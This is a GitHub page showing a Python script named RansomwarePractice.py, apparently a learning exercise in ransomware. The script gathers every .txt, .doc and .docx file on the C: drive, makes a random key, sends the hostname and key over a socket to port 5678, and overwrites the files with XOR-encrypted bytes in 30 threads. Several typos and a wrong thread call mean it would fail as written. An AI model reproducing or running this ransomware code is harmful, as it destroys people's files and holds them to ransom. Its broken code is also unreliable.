-
Notifications
You must be signed in to change notification settings - Fork 0
/
RansomwarePractice.py
71 lines (56 loc) · 1.68 KB
/
RansomwarePractice.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import os
from threading import Thread
from queue import Queue
import random
from datetime import datetime
import socket
safeguard = input('Please enter the safeguard password: ')
if safeguard != 'start12345':
quit()
encrypted_ext = ('.txt','.doc','.docx')
file_paths = []
for root, dirs, files in os.walk('C:\\'):
for file in files:
file_path, file_ext = os.path.splittext(root + '\\' + file)
if file_ext in encrypted_ext:
file_paths.append(root + '\\' + file)
key = ''
encryption_level = 128 // 8
char_pool = ''
for i in range(0x00, 0xFF):
char_pool += (chr(i))
for i in range(encryption_level):
key += random.choice(char_pool)\
hostname = os.getenv('COMPUTERNAME')
ip_address = socket.gethostbyname(hostname)
port = 5678
time = datetime.now()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((ip_address, port))
s.send(f'[{time}] - {hostname}:{key}'.encode('utf-8'))
def encrypt():
while q.not_empty:
file = q.get()
index = 0
max_index = encrpytion_level - 1
try:
with open(file, 'rb') as f:
data = f.read()
with open(file, 'wb') as f:
for byte in data:
xor_byte = byte ^ ord(key[index])
f.write(xor_byte.to_bytes(1, 'little'))
if index >= max_index:
index = 0
else:
index += 1
except:
pass
q.task_done()
q = Queue()
for file in file_paths:
q.put(file)
for i in range(30):
thread = Thread(target = encrypt, args = (key,), daemon = True)
thread.start()
q.join()